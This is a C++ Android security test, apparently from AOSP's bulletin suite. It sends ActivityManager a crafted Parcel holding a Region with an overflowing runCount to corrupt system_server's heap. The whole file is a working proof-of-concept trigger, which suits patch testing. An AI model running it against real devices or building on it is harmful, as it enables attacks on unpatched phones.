You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
100 lines
3.0 KiB
100 lines
3.0 KiB
/**
|
|
* Copyright (C) 2018 The Android Open Source Project
|
|
*
|
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
* you may not use this file except in compliance with the License.
|
|
* You may obtain a copy of the License at
|
|
*
|
|
* http://www.apache.org/licenses/LICENSE-2.0
|
|
*
|
|
* Unless required by applicable law or agreed to in writing, software
|
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
* See the License for the specific language governing permissions and
|
|
* limitations under the License.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
|
|
#include <binder/IServiceManager.h>
|
|
#include <binder/Parcel.h>
|
|
|
|
using namespace android;
|
|
typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
|
|
|
|
static void writeParcelableHead(Parcel *pData, const char *class_name) {
|
|
// write key
|
|
static int count = 1;
|
|
const int VAL_PARCELABLE = 4;
|
|
char buffer[16] = {0};
|
|
snprintf(buffer, 16, "%d", count);
|
|
|
|
pData->writeString16(String16((const char *)buffer));
|
|
pData->writeInt32(VAL_PARCELABLE);
|
|
pData->writeString16(String16(class_name));
|
|
}
|
|
|
|
void writeRegion(Parcel *pData) {
|
|
pData->writeInt32(100); // length of region;
|
|
pData->writeInt32(
|
|
0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
|
|
pData->writeInt32(0xf); // fBounds
|
|
pData->writeInt32(0xf); // YSpanCount
|
|
pData->writeInt32(0xf); // IntervalCount
|
|
|
|
char buffer[100];
|
|
memset(buffer, 0xcc,
|
|
sizeof(buffer)); // this buffer will be used to corrrupt the heap
|
|
pData->write(buffer, sizeof(buffer));
|
|
}
|
|
|
|
static void writeBundle(Parcel *pData, int type) {
|
|
size_t lengthPos = pData->dataPosition();
|
|
pData->writeInt32(0xfffff);
|
|
const int BUNDLE_MAGIC = 0x4C444E42;
|
|
pData->writeInt32(BUNDLE_MAGIC);
|
|
size_t startPos = pData->dataPosition();
|
|
|
|
if (type == HEAPCORRUPT) {
|
|
pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
|
|
writeParcelableHead(pData, "android.graphics.Region");
|
|
writeRegion(pData);
|
|
} else { // other than HEAPCORRUPT
|
|
exit(0);
|
|
}
|
|
|
|
size_t endPos = pData->dataPosition();
|
|
// Backpatch length
|
|
pData->setDataPosition(lengthPos);
|
|
int length = endPos - startPos;
|
|
pData->writeInt32(length);
|
|
pData->setDataPosition(endPos);
|
|
}
|
|
|
|
static void transact(sp<IBinder> &service, TRANTYPE type) {
|
|
const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
|
|
Parcel data, reply;
|
|
|
|
data.writeInterfaceToken(String16("android.app.IActivityManager"));
|
|
data.writeStrongBinder(service);
|
|
data.writeInt32(333);
|
|
writeBundle(&data, type);
|
|
service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
|
|
}
|
|
|
|
int main(__attribute__((unused)) int argc,
|
|
__attribute__((unused)) char *const argv[]) {
|
|
sp<IServiceManager> sm = defaultServiceManager();
|
|
sp<IBinder> service = sm->checkService(String16("activity"));
|
|
if (service != NULL) {
|
|
printf("heap corruption\n");
|
|
transact(service, HEAPCORRUPT);
|
|
} else {
|
|
printf("get activitymanger failed\n");
|
|
}
|
|
return 0;
|
|
}
|